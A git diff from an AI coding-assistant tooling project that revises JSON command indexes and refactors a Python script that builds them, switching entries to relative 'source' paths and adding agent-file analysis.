+      "source": "../../../commands/memory/docs.md"
     },
     {
       "name": "load-skill-memory",
@@ -363,7 +708,7 @@
       "subcategory": null,
       "usage_scenario": "documentation",
       "difficulty": "Intermediate",
-      "file_path": "memory/load-skill-memory.md"
+      "source": "../../../commands/memory/load-skill-memory.md"
     },
     {
       "name": "skill-memory",
@@ -374,7 +719,7 @@
       "subcategory": null,
       "usage_scenario": "documentation",
       "difficulty": "Intermediate",
-      "file_path": "memory/skill-memory.md"
+      "source": "../../../commands/memory/skill-memory.md"
     },
     {
       "name": "style-skill-memory",
@@ -385,7 +730,18 @@
       "subcategory": null,
       "usage_scenario": "documentation",
       "difficulty": "Intermediate",
-      "file_path": "memory/style-skill-memory.md"
+      "source": "../../../commands/memory/style-skill-memory.md"
+    },
+    {
+      "name": "swagger-docs",
+      "command": "/memory:swagger-docs",
+      "description": "Generate complete Swagger/OpenAPI documentation following RESTful standards with global security, API details, error codes, and validation tests",
+      "arguments": "[path] [--tool <gemini|qwen|codex>] [--format <yaml|json>] [--version <v3.0|v3.1>] [--lang <zh|en>]",
+      "category": "memory",
+      "subcategory": null,
+      "usage_scenario": "documentation",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/memory/swagger-docs.md"
     },
     {
       "name": "workflow-skill-memory",
@@ -396,253 +752,7 @@
       "subcategory": null,
       "usage_scenario": "documentation",
       "difficulty": "Intermediate",
-      "file_path": "memory/workflow-skill-memory.md"
-    }
-  ],
-  "planning": [
-    {
-      "name": "breakdown",
-      "command": "/task:breakdown",
-      "description": "Decompose complex task into subtasks with dependency mapping, creates child task JSONs with parent references and execution order",
-      "arguments": "task-id",
-      "category": "task",
-      "subcategory": null,
-      "usage_scenario": "planning",
-      "difficulty": "Intermediate",
-      "file_path": "task/breakdown.md"
-    },
-    {
-      "name": "replan",
-      "command": "/task:replan",
-      "description": "Update task JSON with new requirements or batch-update multiple tasks from verification report, tracks changes in task-changes.json",
-      "arguments": "task-id [\\\"text\\\"|file.md] | --batch [verification-report.md]",
-      "category": "task",
-      "subcategory": null,
-      "usage_scenario": "planning",
-      "difficulty": "Intermediate",
-      "file_path": "task/replan.md"
-    },
-    {
-      "name": "action-plan-verify",
-      "command": "/workflow:action-plan-verify",
-      "description": "Perform non-destructive cross-artifact consistency analysis between IMPL_PLAN.md and task JSONs with quality gate validation",
-      "arguments": "[optional: --session session-id]",
-      "category": "workflow",
-      "subcategory": null,
-      "usage_scenario": "planning",
-      "difficulty": "Intermediate",
-      "file_path": "workflow/action-plan-verify.md"
-    },
-    {
-      "name": "api-designer",
-      "command": "/workflow:brainstorm:api-designer",
-      "description": "Generate or update api-designer/analysis.md addressing guidance-specification discussion points for API design perspective",
-      "arguments": "optional topic - uses existing framework if available",
-      "category": "workflow",
-      "subcategory": "brainstorm",
-      "usage_scenario": "planning",
-      "difficulty": "Intermediate",
-      "file_path": "workflow/brainstorm/api-designer.md"
-    },
-    {
-      "name": "ui-designer",
-      "command": "/workflow:brainstorm:ui-designer",
-      "description": "Generate or update ui-designer/analysis.md addressing guidance-specification discussion points for UI design perspective",
-      "arguments": "optional topic - uses existing framework if available",
-      "category": "workflow",
-      "subcategory": "brainstorm",
-      "usage_scenario": "planning",
-      "difficulty": "Intermediate",
-      "file_path": "workflow/brainstorm/ui-designer.md"
-    },
-    {
-      "name": "lite-plan",
-      "command": "/workflow:lite-plan",
-      "description": "Lightweight interactive planning workflow with in-memory planning, code exploration, and execution dispatch to lite-execute after user confirmation",
-      "arguments": "[-e|--explore] \\\"task description\\\"|file.md",
-      "category": "workflow",
-      "subcategory": null,
-      "usage_scenario": "planning",
-      "difficulty": "Intermediate",
-      "file_path": "workflow/lite-plan.md"
-    },
-    {
-      "name": "plan",
-      "command": "/workflow:plan",
-      "description": "5-phase planning workflow with action-planning-agent task generation, outputs IMPL_PLAN.md and task JSONs",
-      "arguments": "\\\"text description\\\"|file.md",
-      "category": "workflow",
-      "subcategory": null,
-      "usage_scenario": "planning",
-      "difficulty": "Intermediate",
-      "file_path": "workflow/plan.md"
-    },
-    {
-      "name": "replan",
-      "command": "/workflow:replan",
-      "description": "Interactive workflow replanning with session-level artifact updates and boundary clarification through guided questioning",
-      "arguments": "[--session session-id] [task-id] \\\"requirements\\\"|file.md [--interactive]",
-      "category": "workflow",
-      "subcategory": null,
-      "usage_scenario": "planning",
-      "difficulty": "Intermediate",
-      "file_path": "workflow/replan.md"
-    },
-    {
-      "name": "tdd-plan",
-      "command": "/workflow:tdd-plan",
-      "description": "TDD workflow planning with Red-Green-Refactor task chain generation, test-first development structure, and cycle tracking",
-      "arguments": "\\\"feature description\\\"|file.md",
-      "category": "workflow",
-      "subcategory": null,
-      "usage_scenario": "planning",
-      "difficulty": "Advanced",
-      "file_path": "workflow/tdd-plan.md"
-    },
-    {
-      "name": "workflow:ui-design:codify-style",
-      "command": "/workflow:ui-design:codify-style",
-      "description": "Orchestrator to extract styles from code and generate shareable reference package with preview (automatic file discovery)",
-      "arguments": "<path> [--package-name <name>] [--output-dir <path>] [--overwrite]",
-      "category": "workflow",
-      "subcategory": "ui-design",
-      "usage_scenario": "planning",
-      "difficulty": "Intermediate",
-      "file_path": "workflow/ui-design/codify-style.md"
-    },
-    {
-      "name": "design-sync",
-      "command": "/workflow:ui-design:design-sync",
-      "description": "Synchronize finalized design system references to brainstorming artifacts, preparing them for /workflow:plan consumption",
-      "arguments": "--session <session_id> [--selected-prototypes \"<list>\"]",
-      "category": "workflow",
-      "subcategory": "ui-design",
-      "usage_scenario": "planning",
-      "difficulty": "Intermediate",
-      "file_path": "workflow/ui-design/design-sync.md"
-    },
-    {
-      "name": "workflow:ui-design:import-from-code",
-      "command": "/workflow:ui-design:import-from-code",
-      "description": "Import design system from code files (CSS/JS/HTML/SCSS) with automatic file discovery and parallel agent analysis",
-      "arguments": "[--design-id <id>] [--session <id>] [--source <path>]",
-      "category": "workflow",
-      "subcategory": "ui-design",
-      "usage_scenario": "planning",
-      "difficulty": "Intermediate",
-      "file_path": "workflow/ui-design/import-from-code.md"
-    },
-    {
-      "name": "workflow:ui-design:reference-page-generator",
-      "command": "/workflow:ui-design:reference-page-generator",
-      "description": "Generate multi-component reference pages and documentation from design run extraction",
-      "arguments": "[--design-run <path>] [--package-name <name>] [--output-dir <path>]",
-      "category": "workflow",
-      "subcategory": "ui-design",
-      "usage_scenario": "planning",
-      "difficulty": "Intermediate",
-      "file_path": "workflow/ui-design/reference-page-generator.md"
-    }
-  ],
-  "implementation": [
-    {
-      "name": "create",
-      "command": "/task:create",
-      "description": "Generate task JSON from natural language description with automatic file pattern detection, scope inference, and dependency analysis",
-      "arguments": "\\\"task title\\",
-      "category": "task",
-      "subcategory": null,
-      "usage_scenario": "implementation",
-      "difficulty": "Intermediate",
-      "file_path": "task/create.md"
-    },
-    {
-      "name": "execute",
-      "command": "/task:execute",
-      "description": "Execute task JSON using appropriate agent (@doc-generator/@implementation-agent/@test-agent) with pre-analysis context loading and status tracking",
-      "arguments": "task-id",
-      "category": "task",
-      "subcategory": null,
-      "usage_scenario": "implementation",
-      "difficulty": "Intermediate",
-      "file_path": "task/execute.md"
-    },
-    {
-      "name": "execute",
-      "command": "/workflow:execute",
-      "description": "Coordinate agent execution for workflow tasks with automatic session discovery, parallel task processing, and status tracking",
-      "arguments": "[--resume-session=\\\"session-id\\\"]",
-      "category": "workflow",
-      "subcategory": null,
-      "usage_scenario": "implementation",
-      "difficulty": "Intermediate",
-      "file_path": "workflow/execute.md"
-    },
-    {
-      "name": "lite-execute",
-      "command": "/workflow:lite-execute",
-      "description": "Execute tasks based on in-memory plan, prompt description, or file content",
-      "arguments": "[--in-memory] [\\\"task description\\\"|file-path]",
-      "category": "workflow",
-      "subcategory": null,
-      "usage_scenario": "implementation",
-      "difficulty": "Intermediate",
-      "file_path": "workflow/lite-execute.md"
-    },
-    {
-      "name": "test-cycle-execute",
-      "command": "/workflow:test-cycle-execute",
-      "description": "Execute test-fix workflow with dynamic task generation and iterative fix cycles until test pass rate >= 95% or max iterations reached. Uses @cli-planning-agent for failure analysis and task generation.",
-      "arguments": "[--resume-session=\\\"session-id\\\"] [--max-iterations=N]",
-      "category": "workflow",
-      "subcategory": null,
-      "usage_scenario": "implementation",
-      "difficulty": "Intermediate",
-      "file_path": "workflow/test-cycle-execute.md"
-    },
-    {
-      "name": "task-generate-agent",
-      "command": "/workflow:tools:task-generate-agent",
-      "description": "Generate implementation plan documents (IMPL_PLAN.md, task JSONs, TODO_LIST.md) using action-planning-agent - produces planning artifacts, does NOT execute code implementation",
-      "arguments": "--session WFS-session-id",
-      "category": "workflow",
-      "subcategory": "tools",
-      "usage_scenario": "implementation",
-      "difficulty": "Advanced",
-      "file_path": "workflow/tools/task-generate-agent.md"
-    },
-    {
-      "name": "task-generate-tdd",
-      "command": "/workflow:tools:task-generate-tdd",
-      "description": "Autonomous TDD task generation using action-planning-agent with Red-Green-Refactor cycles, test-first structure, and cycle validation",
-      "arguments": "--session WFS-session-id",
-      "category": "workflow",
-      "subcategory": "tools",
-      "usage_scenario": "implementation",
-      "difficulty": "Advanced",
-      "file_path": "workflow/tools/task-generate-tdd.md"
-    },
-    {
-      "name": "test-task-generate",
-      "command": "/workflow:tools:test-task-generate",
-      "description": "Generate test planning documents (IMPL_PLAN.md, test task JSONs, TODO_LIST.md) using action-planning-agent - produces test planning artifacts, does NOT execute tests",
-      "arguments": "--session WFS-test-session-id",
-      "category": "workflow",
-      "subcategory": "tools",
-      "usage_scenario": "implementation",
-      "difficulty": "Intermediate",
-      "file_path": "workflow/tools/test-task-generate.md"
-    },
-    {
-      "name": "generate",
-      "command": "/workflow:ui-design:generate",
-      "description": "Assemble UI prototypes by combining layout templates with design tokens (default animation support), pure assembler without new content generation",
-      "arguments": "[--design-id <id>] [--session <id>]",
-      "category": "workflow",
-      "subcategory": "ui-design",
-      "usage_scenario": "implementation",
-      "difficulty": "Intermediate",
-      "file_path": "workflow/ui-design/generate.md"
+      "source": "../../../commands/memory/workflow-skill-memory.md"
     }
   ],
   "analysis": [
@@ -655,7 +765,7 @@
       "subcategory": null,
       "usage_scenario": "analysis",
       "difficulty": "Intermediate",
-      "file_path": "workflow/review-fix.md"
+      "source": "../../../commands/workflow/review-fix.md"
     },
     {
       "name": "review-module-cycle",
@@ -666,18 +776,18 @@
       "subcategory": null,
       "usage_scenario": "analysis",
       "difficulty": "Intermediate",
-      "file_path": "workflow/review-module-cycle.md"
+      "source": "../../../commands/workflow/review-module-cycle.md"
     },
     {
       "name": "review",
       "command": "/workflow:review",
       "description": "Post-implementation review with specialized types (security/architecture/action-items/quality) using analysis agents and Gemini",
-      "arguments": "[--type=security|architecture|action-items|quality] [optional: session-id]",
+      "arguments": "[--type=security|architecture|action-items|quality] [--archived] [optional: session-id]",
       "category": "workflow",
       "subcategory": null,
       "usage_scenario": "analysis",
       "difficulty": "Intermediate",
-      "file_path": "workflow/review.md"
+      "source": "../../../commands/workflow/review.md"
     }
   ],
   "session-management": [
@@ -690,7 +800,7 @@
       "subcategory": null,
       "usage_scenario": "session-management",
       "difficulty": "Intermediate",
-      "file_path": "workflow/review-session-cycle.md"
+      "source": "../../../commands/workflow/review-session-cycle.md"
     },
     {
       "name": "complete",
@@ -701,7 +811,7 @@
       "subcategory": "session",
       "usage_scenario": "session-management",
       "difficulty": "Intermediate",
-      "file_path": "workflow/session/complete.md"
+      "source": "../../../commands/workflow/session/complete.md"
     },
     {
       "name": "resume",
@@ -712,7 +822,7 @@
       "subcategory": "session",
       "usage_scenario": "session-management",
       "difficulty": "Intermediate",
-      "file_path": "workflow/session/resume.md"
+      "source": "../../../commands/workflow/session/resume.md"
     }
   ],
   "testing": [
@@ -725,7 +835,7 @@
       "subcategory": null,
       "usage_scenario": "testing",
       "difficulty": "Advanced",
-      "file_path": "workflow/tdd-verify.md"
+      "source": "../../../commands/workflow/tdd-verify.md"
     },
     {
       "name": "test-fix-gen",
@@ -736,7 +846,7 @@
       "subcategory": null,
       "usage_scenario": "testing",
       "difficulty": "Intermediate",
-      "file_path": "workflow/test-fix-gen.md"
+      "source": "../../../commands/workflow/test-fix-gen.md"
     },
     {
       "name": "test-gen",
@@ -747,7 +857,7 @@
       "subcategory": null,
       "usage_scenario": "testing",
       "difficulty": "Intermediate",
-      "file_path": "workflow/test-gen.md"
+      "source": "../../../commands/workflow/test-gen.md"
     },
     {
       "name": "tdd-coverage-analysis",
@@ -758,7 +868,7 @@
       "subcategory": "tools",
       "usage_scenario": "testing",
       "difficulty": "Advanced",
-      "file_path": "workflow/tools/tdd-coverage-analysis.md"
+      "source": "../../../commands/workflow/tools/tdd-coverage-analysis.md"
     },
     {
       "name": "test-concept-enhanced",
@@ -769,7 +879,7 @@
       "subcategory": "tools",
       "usage_scenario": "testing",
       "difficulty": "Intermediate",
-      "file_path": "workflow/tools/test-concept-enhanced.md"
+      "source": "../../../commands/workflow/tools/test-concept-enhanced.md"
     },
     {
       "name": "test-context-gather",
@@ -780,7 +890,7 @@
       "subcategory": "tools",
       "usage_scenario": "testing",
       "difficulty": "Intermediate",
-      "file_path": "workflow/tools/test-context-gather.md"
+      "source": "../../../commands/workflow/tools/test-context-gather.md"
     }
   ]
 }

.claude/skills/ccw-help/index/command-relationships.json

@@ -84,161 +84,6 @@
       "workflow:status"
     ]
   },
-  "workflow:resume": {
-    "alternatives": [
-      "workflow:session:resume"
-    ],
-    "related": [
-      "workflow:status"
-    ]
-  },
-  "task:create": {
-    "next_steps": [
-      "task:execute"
-    ],
-    "related": [
-      "task:breakdown"
-    ]
-  },
-  "task:breakdown": {
-    "next_steps": [
-      "task:execute"
-    ],
-    "related": [
-      "task:create"
-    ]
-  },
-  "task:replan": {
-    "prerequisites": [
-      "workflow:plan"
-    ],
-    "related": [
-      "workflow:action-plan-verify"
-    ]
-  },
-  "task:execute": {
-    "prerequisites": [
-      "task:create",
-      "task:breakdown",
-      "workflow:plan"
-    ],
-    "related": [
-      "workflow:status"
-    ]
-  },
-  "memory:docs": {
-    "calls_internally": [
-      "workflow:session:start",
-      "workflow:tools:context-gather"
-    ],
-    "next_steps": [
-      "workflow:execute"
-    ]
-  },
-  "memory:skill-memory": {
-    "next_steps": [
-      "workflow:plan",
-      "cli:analyze"
-    ],
-    "related": [
-      "memory:load-skill-memory"
-    ]
-  },
-  "memory:workflow-skill-memory": {
-    "related": [
-      "memory:skill-memory"
-    ],
-    "next_steps": [
-      "workflow:plan"
-    ]
-  },
-  "cli:execute": {
-    "alternatives": [
-      "cli:codex-execute"
-    ],
-    "related": [
-      "cli:analyze",
-      "cli:chat"
-    ]
-  },
-  "cli:analyze": {
-    "related": [
-      "cli:chat",
-      "cli:mode:code-analysis"
-    ],
-    "next_steps": [
-      "cli:execute"
-    ]
-  },
-  "workflow:brainstorm:artifacts": {
-    "next_steps": [
-      "workflow:brainstorm:synthesis",
-      "workflow:plan"
-    ],
-    "related": [
-      "workflow:brainstorm:auto-parallel"
-    ]
-  },
-  "workflow:brainstorm:synthesis": {
-    "prerequisites": [
-      "workflow:brainstorm:artifacts"
-    ],
-    "next_steps": [
-      "workflow:plan"
-    ]
-  },
-  "workflow:brainstorm:auto-parallel": {
-    "next_steps": [
-      "workflow:brainstorm:synthesis",
-      "workflow:plan"
-    ],
-    "related": [
-      "workflow:brainstorm:artifacts"
-    ]
-  },
-  "workflow:test-gen": {
-    "prerequisites": [
-      "workflow:execute"
-    ],
-    "next_steps": [
-      "workflow:test-cycle-execute"
-    ]
-  },
-  "workflow:test-fix-gen": {
-    "alternatives": [
-      "workflow:test-gen"
-    ],
-    "next_steps": [
-      "workflow:test-cycle-execute"
-    ]
-  },
-  "workflow:test-cycle-execute": {
-    "prerequisites": [
-      "workflow:test-gen",
-      "workflow:test-fix-gen"
-    ],
-    "related": [
-      "workflow:tdd-verify"
-    ]
-  },
-  "workflow:ui-design:explore-auto": {
-    "calls_internally": [
-      "workflow:ui-design:capture",
-      "workflow:ui-design:style-extract",
-      "workflow:ui-design:layout-extract"
-    ],
-    "next_steps": [
-      "workflow:ui-design:generate"
-    ]
-  },
-  "workflow:ui-design:imitate-auto": {
-    "calls_internally": [
-      "workflow:ui-design:capture"
-    ],
-    "next_steps": [
-      "workflow:ui-design:generate"
-    ]
-  },
   "workflow:lite-plan": {
     "calls_internally": [
       "workflow:lite-execute"
@@ -274,15 +119,6 @@
       "workflow:status"
     ]
   },
-  "workflow:review-module-cycle": {
-    "next_steps": [
-      "workflow:review-fix"
-    ],
-    "related": [
-      "workflow:review-session-cycle",
-      "workflow:review"
-    ]
-  },
   "workflow:review-session-cycle": {
     "prerequisites": [
       "workflow:execute"
@@ -291,8 +127,7 @@
       "workflow:review-fix"
     ],
     "related": [
-      "workflow:review-module-cycle",
-      "workflow:review"
+      "workflow:review-module-cycle"
     ]
   },
   "workflow:review-fix": {
@@ -303,5 +138,23 @@
     "related": [
       "workflow:test-cycle-execute"
     ]
+  },
+  "memory:docs": {
+    "calls_internally": [
+      "workflow:session:start",
+      "workflow:tools:context-gather"
+    ],
+    "next_steps": [
+      "workflow:execute"
+    ]
+  },
+  "memory:skill-memory": {
+    "next_steps": [
+      "workflow:plan",
+      "cli:analyze"
+    ],
+    "related": [
+      "memory:load-skill-memory"
+    ]
   }
 }

.claude/skills/ccw-help/index/essential-commands.json

@@ -8,7 +8,7 @@
     "subcategory": null,
     "usage_scenario": "planning",
     "difficulty": "Intermediate",
-    "file_path": "workflow/lite-plan.md"
+    "source": "../../../commands/workflow/lite-plan.md"
   },
   {
     "name": "lite-fix",
@@ -19,7 +19,7 @@
     "subcategory": null,
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "workflow/lite-fix.md"
+    "source": "../../../commands/workflow/lite-fix.md"
   },
   {
     "name": "plan",
@@ -30,7 +30,7 @@
     "subcategory": null,
     "usage_scenario": "planning",
     "difficulty": "Intermediate",
-    "file_path": "workflow/plan.md"
+    "source": "../../../commands/workflow/plan.md"
   },
   {
     "name": "execute",
@@ -41,7 +41,7 @@
     "subcategory": null,
     "usage_scenario": "implementation",
     "difficulty": "Intermediate",
-    "file_path": "workflow/execute.md"
+    "source": "../../../commands/workflow/execute.md"
   },
   {
     "name": "start",
@@ -52,7 +52,7 @@
     "subcategory": "session",
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "workflow/session/start.md"
+    "source": "../../../commands/workflow/session/start.md"
   },
   {
     "name": "review-session-cycle",
@@ -63,7 +63,7 @@
     "subcategory": null,
     "usage_scenario": "session-management",
     "difficulty": "Intermediate",
-    "file_path": "workflow/review-session-cycle.md"
+    "source": "../../../commands/workflow/review-session-cycle.md"
   },
   {
     "name": "docs",
@@ -74,7 +74,7 @@
     "subcategory": null,
     "usage_scenario": "documentation",
     "difficulty": "Intermediate",
-    "file_path": "memory/docs.md"
+    "source": "../../../commands/memory/docs.md"
   },
   {
     "name": "artifacts",
@@ -85,7 +85,7 @@
     "subcategory": "brainstorm",
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "workflow/brainstorm/artifacts.md"
+    "source": "../../../commands/workflow/brainstorm/artifacts.md"
   },
   {
     "name": "action-plan-verify",
@@ -96,7 +96,7 @@
     "subcategory": null,
     "usage_scenario": "planning",
     "difficulty": "Intermediate",
-    "file_path": "workflow/action-plan-verify.md"
+    "source": "../../../commands/workflow/action-plan-verify.md"
   },
   {
     "name": "version",
@@ -107,6 +107,6 @@
     "subcategory": null,
     "usage_scenario": "general",
     "difficulty": "Beginner",
-    "file_path": "version.md"
+    "source": "../../../commands/version.md"
   }
 ]

.claude/skills/ccw-help/scripts/analyze_commands.py

@@ -1,12 +1,12 @@
 #!/usr/bin/env python3
 """
-Analyze all command files and generate index files for command-guide skill.
+Analyze all command/agent files and generate index files for ccw-help skill.
+Outputs relative paths pointing to source files (no reference folder duplication).
 """
 
 import os
 import re
 import json
-import shutil
 from pathlib import Path
 from collections import defaultdict
 from typing import Dict, List, Any
@@ -15,8 +15,7 @@ from typing import Dict, List, Any
 BASE_DIR = Path("D:/Claude_dms3/.claude")
 COMMANDS_DIR = BASE_DIR / "commands"
 AGENTS_DIR = BASE_DIR / "agents"
-SKILL_DIR = BASE_DIR / "skills" / "command-guide"
-REFERENCE_DIR = SKILL_DIR / "reference"
+SKILL_DIR = BASE_DIR / "skills" / "ccw-help"
 INDEX_DIR = SKILL_DIR / "index"
 
 def parse_frontmatter(content: str) -> Dict[str, Any]:
@@ -24,7 +23,6 @@ def parse_frontmatter(content: str) -> Dict[str, Any]:
     frontmatter = {}
     if content.startswith('---'):
         lines = content.split('\n')
-        in_frontmatter = False
         for i, line in enumerate(lines[1:], 1):
             if line.strip() == '---':
                 break
@@ -48,49 +46,33 @@ def categorize_command(file_path: Path) -> tuple:
 def determine_usage_scenario(name: str, description: str, category: str) -> str:
     """Determine primary usage scenario for command."""
     name_lower = name.lower()
-    desc_lower = description.lower()
 
-    # Planning indicators
     if any(word in name_lower for word in ['plan', 'design', 'breakdown', 'brainstorm']):
         return "planning"
-
-    # Implementation indicators
     if any(word in name_lower for word in ['implement', 'execute', 'generate', 'create', 'write']):
         return "implementation"
-
-    # Testing indicators
     if any(word in name_lower for word in ['test', 'tdd', 'verify', 'coverage']):
         return "testing"
-
-    # Documentation indicators
     if any(word in name_lower for word in ['docs', 'documentation', 'memory']):
         return "documentation"
-
-    # Session management indicators
     if any(word in name_lower for word in ['session', 'resume', 'status', 'complete']):
         return "session-management"
-
-    # Analysis indicators
     if any(word in name_lower for word in ['analyze', 'review', 'diagnosis']):
         return "analysis"
-
     return "general"
 
 def determine_difficulty(name: str, description: str, category: str) -> str:
     """Determine difficulty level."""
     name_lower = name.lower()
 
-    # Beginner commands
     beginner_keywords = ['status', 'list', 'chat', 'analyze', 'version']
     if any(word in name_lower for word in beginner_keywords):
         return "Beginner"
 
-    # Advanced commands
     advanced_keywords = ['tdd', 'conflict', 'agent', 'auto-parallel', 'coverage', 'synthesis']
     if any(word in name_lower for word in advanced_keywords):
         return "Advanced"
 
-    # Intermediate by default
     return "Intermediate"
 
 def analyze_command_file(file_path: Path) -> Dict[str, Any]:
@@ -98,30 +80,27 @@ def analyze_command_file(file_path: Path) -> Dict[str, Any]:
     with open(file_path, 'r', encoding='utf-8') as f:
         content = f.read()
 
-    # Parse frontmatter
     frontmatter = parse_frontmatter(content)
 
-    # Extract data
     name = frontmatter.get('name', file_path.stem)
     description = frontmatter.get('description', '')
     argument_hint = frontmatter.get('argument-hint', '')
 
-    # Determine categorization
     category, subcategory = categorize_command(file_path)
     usage_scenario = determine_usage_scenario(name, description, category)
     difficulty = determine_difficulty(name, description, category)
 
-    # Build relative path
-    rel_path = str(file_path.relative_to(COMMANDS_DIR)).replace('\\', '/')
+    # Build relative path from INDEX_DIR (need to go up 3 levels: index -> ccw-help -> skills -> .claude)
+    # e.g., "../../../commands/workflow/lite-plan.md"
+    rel_from_base = file_path.relative_to(BASE_DIR)
+    rel_path = "../../../" + str(rel_from_base).replace('\\', '/')
 
-    # Build full command name from frontmatter name or construct it
-    # If name already contains colons (e.g., "workflow:status"), use it directly
+    # Build full command name
     if ':' in name:
         command_name = f"/{name}"
     elif category == "general":
         command_name = f"/{name}"
     else:
-        # For subcategorized commands, build the full path
         if subcategory:
             command_name = f"/{category}:{subcategory}:{name}"
         else:
@@ -136,43 +115,50 @@ def analyze_command_file(file_path: Path) -> Dict[str, Any]:
         "subcategory": subcategory,
         "usage_scenario": usage_scenario,
         "difficulty": difficulty,
-        "file_path": rel_path
+        "source": rel_path  # Relative from index/ dir (e.g., "../../../commands/workflow/...")
+    }
+
+def analyze_agent_file(file_path: Path) -> Dict[str, Any]:
+    """Analyze a single agent file and extract metadata."""
+    with open(file_path, 'r', encoding='utf-8') as f:
+        content = f.read()
+
+    frontmatter = parse_frontmatter(content)
+
+    name = frontmatter.get('name', file_path.stem)
+    description = frontmatter.get('description', '')
+
+    # Build relative path from INDEX_DIR (need to go up 3 levels)
+    # e.g., "../../../agents/code-developer.md"
+    rel_from_base = file_path.relative_to(BASE_DIR)
+    rel_path = "../../../" + str(rel_from_base).replace('\\', '/')
+
+    return {
+        "name": name,
+        "description": description,
+        "source": rel_path  # Relative from index/ dir (e.g., "../../../agents/...")
     }
 
 def build_command_relationships() -> Dict[str, Any]:
     """Build command relationship mappings."""
-    relationships = {
-        # Workflow planning commands
+    return {
         "workflow:plan": {
-            "calls_internally": [
-                "workflow:session:start",
-                "workflow:tools:context-gather",
-                "workflow:tools:conflict-resolution",
-                "workflow:tools:task-generate-agent"
-            ],
+            "calls_internally": ["workflow:session:start", "workflow:tools:context-gather", "workflow:tools:conflict-resolution", "workflow:tools:task-generate-agent"],
             "next_steps": ["workflow:action-plan-verify", "workflow:status", "workflow:execute"],
             "alternatives": ["workflow:tdd-plan"],
             "prerequisites": []
         },
         "workflow:tdd-plan": {
-            "calls_internally": [
-                "workflow:session:start",
-                "workflow:tools:context-gather",
-                "workflow:tools:task-generate-tdd"
-            ],
+            "calls_internally": ["workflow:session:start", "workflow:tools:context-gather", "workflow:tools:task-generate-tdd"],
             "next_steps": ["workflow:tdd-verify", "workflow:status", "workflow:execute"],
             "alternatives": ["workflow:plan"],
             "prerequisites": []
         },
-
-        # Execution commands
         "workflow:execute": {
             "prerequisites": ["workflow:plan", "workflow:tdd-plan"],
             "related": ["workflow:status", "workflow:resume"],
             "next_steps": ["workflow:review", "workflow:tdd-verify"]
         },
-
-        # Verification commands
         "workflow:action-plan-verify": {
             "prerequisites": ["workflow:plan"],
             "next_steps": ["workflow:execute"],
@@ -182,8 +168,6 @@ def build_command_relationships() -> Dict[str, Any]:
             "prerequisites": ["workflow:execute"],
             "related": ["workflow:tools:tdd-coverage-analysis"]
         },
-
-        # Session management
         "workflow:session:start": {
             "next_steps": ["workflow:plan", "workflow:execute"],
             "related": ["workflow:session:list", "workflow:session:resume"]
@@ -192,95 +176,6 @@ def build_command_relationships() -> Dict[str, Any]:
             "alternatives": ["workflow:resume"],
             "related": ["workflow:session:list", "workflow:status"]
         },
-        "workflow:resume": {
-            "alternatives": ["workflow:session:resume"],
-            "related": ["workflow:status"]
-        },
-
-        # Task management
-        "task:create": {
-            "next_steps": ["task:execute"],
-            "related": ["task:breakdown"]
-        },
-        "task:breakdown": {
-            "next_steps": ["task:execute"],
-            "related": ["task:create"]
-        },
-        "task:replan": {
-            "prerequisites": ["workflow:plan"],
-            "related": ["workflow:action-plan-verify"]
-        },
-        "task:execute": {
-            "prerequisites": ["task:create", "task:breakdown", "workflow:plan"],
-            "related": ["workflow:status"]
-        },
-
-        # Memory/Documentation
-        "memory:docs": {
-            "calls_internally": [
-                "workflow:session:start",
-                "workflow:tools:context-gather"
-            ],
-            "next_steps": ["workflow:execute"]
-        },
-        "memory:skill-memory": {
-            "next_steps": ["workflow:plan", "cli:analyze"],
-            "related": ["memory:load-skill-memory"]
-        },
-        "memory:workflow-skill-memory": {
-            "related": ["memory:skill-memory"],
-            "next_steps": ["workflow:plan"]
-        },
-
-        # CLI modes
-        "cli:execute": {
-            "alternatives": ["cli:codex-execute"],
-            "related": ["cli:analyze", "cli:chat"]
-        },
-        "cli:analyze": {
-            "related": ["cli:chat", "cli:mode:code-analysis"],
-            "next_steps": ["cli:execute"]
-        },
-
-        # Brainstorming
-        "workflow:brainstorm:artifacts": {
-            "next_steps": ["workflow:brainstorm:synthesis", "workflow:plan"],
-            "related": ["workflow:brainstorm:auto-parallel"]
-        },
-        "workflow:brainstorm:synthesis": {
-            "prerequisites": ["workflow:brainstorm:artifacts"],
-            "next_steps": ["workflow:plan"]
-        },
-        "workflow:brainstorm:auto-parallel": {
-            "next_steps": ["workflow:brainstorm:synthesis", "workflow:plan"],
-            "related": ["workflow:brainstorm:artifacts"]
-        },
-
-        # Test workflows
-        "workflow:test-gen": {
-            "prerequisites": ["workflow:execute"],
-            "next_steps": ["workflow:test-cycle-execute"]
-        },
-        "workflow:test-fix-gen": {
-            "alternatives": ["workflow:test-gen"],
-            "next_steps": ["workflow:test-cycle-execute"]
-        },
-        "workflow:test-cycle-execute": {
-            "prerequisites": ["workflow:test-gen", "workflow:test-fix-gen"],
-            "related": ["workflow:tdd-verify"]
-        },
-
-        # UI Design workflows
-        "workflow:ui-design:explore-auto": {
-            "calls_internally": ["workflow:ui-design:capture", "workflow:ui-design:style-extract", "workflow:ui-design:layout-extract"],
-            "next_steps": ["workflow:ui-design:generate"]
-        },
-        "workflow:ui-design:imitate-auto": {
-            "calls_internally": ["workflow:ui-design:capture"],
-            "next_steps": ["workflow:ui-design:generate"]
-        },
-
-        # Lite workflows
         "workflow:lite-plan": {
             "calls_internally": ["workflow:lite-execute"],
             "next_steps": ["workflow:lite-execute", "workflow:status"],
@@ -296,114 +191,59 @@ def build_command_relationships() -> Dict[str, Any]:
             "prerequisites": ["workflow:lite-plan", "workflow:lite-fix"],
             "related": ["workflow:execute", "workflow:status"]
         },
-
-        # Review cycle workflows
-        "workflow:review-module-cycle": {
-            "next_steps": ["workflow:review-fix"],
-            "related": ["workflow:review-session-cycle", "workflow:review"]
-        },
         "workflow:review-session-cycle": {
             "prerequisites": ["workflow:execute"],
             "next_steps": ["workflow:review-fix"],
-            "related": ["workflow:review-module-cycle", "workflow:review"]
+            "related": ["workflow:review-module-cycle"]
         },
         "workflow:review-fix": {
             "prerequisites": ["workflow:review-module-cycle", "workflow:review-session-cycle"],
             "related": ["workflow:test-cycle-execute"]
+        },
+        "memory:docs": {
+            "calls_internally": ["workflow:session:start", "workflow:tools:context-gather"],
+            "next_steps": ["workflow:execute"]
+        },
+        "memory:skill-memory": {
+            "next_steps": ["workflow:plan", "cli:analyze"],
+            "related": ["memory:load-skill-memory"]
         }
